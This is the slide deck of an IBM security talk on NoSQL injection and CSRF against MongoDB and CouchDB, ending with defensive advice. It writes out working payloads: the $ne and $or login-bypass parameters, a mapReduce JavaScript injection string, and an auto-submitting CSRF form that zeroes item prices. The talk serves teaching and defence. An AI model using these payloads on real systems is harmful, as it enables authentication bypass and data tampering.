NO SQL! NO INJECTION?

A talk on the state of NoSQL security

IBM Cyber Security Center of Excellence
Aviv Ron
Alexandra Shulman-Peleg

IBM AppScan
Emanuel Bronshtein
AVIV RON

- Security Researcher for IBM Cyber Security Center of Excellence
  @aviv_ron

- Focus on Application Security in the cloud

- Ongoing research on new and emerging application vulnerabilities for IBM AppScan, Application Security Testing
### NOT ONLY SQL

<table>
<thead>
<tr>
<th>Rank</th>
<th>DBMS</th>
<th>Database Model</th>
<th>Score April 2015</th>
<th>Score March 2015</th>
<th>Score April 2014</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>Oracle</td>
<td>Relational DBMS</td>
<td>1446.13</td>
<td>-22.96</td>
<td>-67.95</td>
</tr>
<tr>
<td>2.</td>
<td>MySQL</td>
<td>Relational DBMS</td>
<td>1284.58</td>
<td>+23.49</td>
<td>-8.09</td>
</tr>
<tr>
<td>3.</td>
<td>Microsoft SQL Server</td>
<td>Relational DBMS</td>
<td>1149.11</td>
<td>-15.68</td>
<td>-61.31</td>
</tr>
<tr>
<td>4.</td>
<td>MongoDB</td>
<td>Document store</td>
<td>278.59</td>
<td>+3.58</td>
<td>+64.25</td>
</tr>
<tr>
<td>5.</td>
<td>PostgreSQL</td>
<td>Relational DBMS</td>
<td>268.31</td>
<td>+3.88</td>
<td>+38.08</td>
</tr>
<tr>
<td>6.</td>
<td>DB2</td>
<td>Relational DBMS</td>
<td>197.65</td>
<td>-1.20</td>
<td>+13.06</td>
</tr>
<tr>
<td>7.</td>
<td>Microsoft Access</td>
<td>Relational DBMS</td>
<td>142.19</td>
<td>+0.50</td>
<td>-0.57</td>
</tr>
<tr>
<td>8.</td>
<td>Cassandra</td>
<td>Wide column store</td>
<td>104.89</td>
<td>-2.42</td>
<td>+26.17</td>
</tr>
<tr>
<td>9.</td>
<td>SQLite</td>
<td>Relational DBMS</td>
<td>102.30</td>
<td>+0.59</td>
<td>+12.13</td>
</tr>
<tr>
<td>10.</td>
<td>Redis</td>
<td>Key-value store</td>
<td>94.55</td>
<td>-2.49</td>
<td>+36.09</td>
</tr>
</tbody>
</table>

According to [http://db-engines.com](http://db-engines.com)
It’s not that relational databases are bad

but some use cases have better solutions
We are just saying tables are not the solution for EVERYTHING
Applications of NoSQL

BIG DATA

REAL TIME WEB

PERFORMANCE

FLEXIBILITY

SCALABILITY

Images are under Creative Commons license and are attributed to their creators.
SO… NO SQL, NO WORRIES?
INTRODUCING NOSQL INJECTIONS
A LOOK AT MONGODB

```javascript
db.books.insert(
    {
        title: 'The Hobbit',
        author: 'J.R.R. Tolkien'
    }
)

db.books.find(
    {
        title: 'The Hobbit',
        author: 'J.R.R. Tolkien'
    }
)
```

```php
array('title' => 'The hobbit', 'author' => 'J.R.R. Tolkien');
```
Login

Username: [ ]
Password: [ ]

HTTP POST

(username=tolkien&password=hobbit)

db->logins->find(array(
    "username"=>$_POST["username"],
    "password"=>$_POST["password"]));

{ username: 'tolkien', password: 'hobbit' }
Login

Username: 
Password: 

username[$ne]=1 & password[$ne]=1

db->logins->find(
    array("username"=>array("$ne" => 1),
        "password"=> array("$ne" => 1));

{ username: { $ne: 1 }, password: { $ne: 1 } }
PHP PARAMETER POLLUTION

db->logins->find(
    array("$where"=>"function() { return this.price < 100 }"));
PHP PARAMETER POLLUTION

db->logins->find(
array("$where"=>"function() { return this.price < 100 }"));

From PHP documentation:

“Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.”
NOT ONLY IN PHP

let's take a look at JavaScript
Login

Username:  
Password:  

HTTP POST

```
username=tolkien&password=hobbit
```

```
string query = 
"{ username: "" + post_username + ", password: "" + post_password + "" }"
```

```
{ username: 'tolkien', password: 'hobbit' }
```
Login

Username: 
Password: 

HTTP POST

username=tolkien', $or: [ {}, { 'a':'a&password=' } ], $comment:'hacked'

string query =
"{ username: "" + post_username + ", password: "" + post_password + "" }"

{ username: 'tolkien', $or: [ {}, { 'a': 'a', password: '' } ], $comment: 'hacked' }
PEOPLE WILL ALWAYS FIND WAYS TO COMPENSATE FOR LIMITATIONS
NOSQL JAVASCRIPT INJECTION
MONGODB MAP REDUCE

$map = "function() {
    for (var i = 0; i < this.items.length; i++) {
        emit(this.name, this.items[i].$param); }
};"
$reduce = "function(name, sum) { return Array.sum(sum); }";
$opt = "{ out: 'totals' }";
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");
ATTACK ON MAP REDUCE JAVASCRIPT

```javascript
a);{}

function(kv) { return 1; }, { out: 'x' }

;db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
```
ATTACK ON MAP REDUCE JAVASCRIPT

```javascript
db.stores.mapReduce(function() {
    for (var i = 0; i < this.items.length; i++) {
        emit(this.name, this.items[i].a);
    }
}, function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success: 1});
return 1;

db.stores.mapReduce(function() {
    { emit(1, 1); }
}, function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success: 1});
return 1;

db.stores.mapReduce(function() {
    { emit(1, 1); }
}, function(name, sum) {
    return Array.sum(sum);
}, { out: 'totals' });
```
NOW – LET’S HAVE SOME REST
CSRF ATTACK ON NOSQL REST API

Intranet (Secure Network)

Internet (Public Network)

Malicious website

1

employee

3 Set all items price to zero

NoSQL

<form method="post" action="http://nosql.internal.com/items/price">
<input type="number" name="price" value="0"/>
</form>
<script>
    document.forms[0].submit();
</script>
16.2.1. Description

Apache CouchDB versions prior to version 0.11.1 are vulnerable to Cross Site Request Forgery (CSRF) attacks.

16.2.2. Mitigation

All users should upgrade to CouchDB 0.11.2 or 1.0.1.

Upgrades from the 0.11.x and 0.10.x series should be seamless.

Users on earlier versions should consult with upgrade notes.

16.2.3. Example

A malicious website can POST arbitrary JavaScript code to well known CouchDB installation URLs (like http://localhost:5984/) and make the browser execute the injected JavaScript in the security context of CouchDB’s admin interface Futon.

Unrelated, but in addition the JSONP API has been turned off by default to avoid potential information leakage.
DEFENDING AGAINST RISKS
DEFENSES

• Injections
  • Encode all user input – do not assemble JSON from strings
  • If possible disable Javascript execution on DB else be careful when inserting user input to javascript
  • Beware of $ operators in PHP

• CSRF
  • Check your HTTP API framework for CSRF protection (NO JSONP, use of random token)

• General
  • Use automatic tools for application security testing that support NoSQL such as IBM AppScan
  • Use of role based access control and the principal of least privilege

NoSQL databases suffer from the same security issues their relational siblings do
Q&A AND OPEN DISCUSSION

http://xkcd.com/327/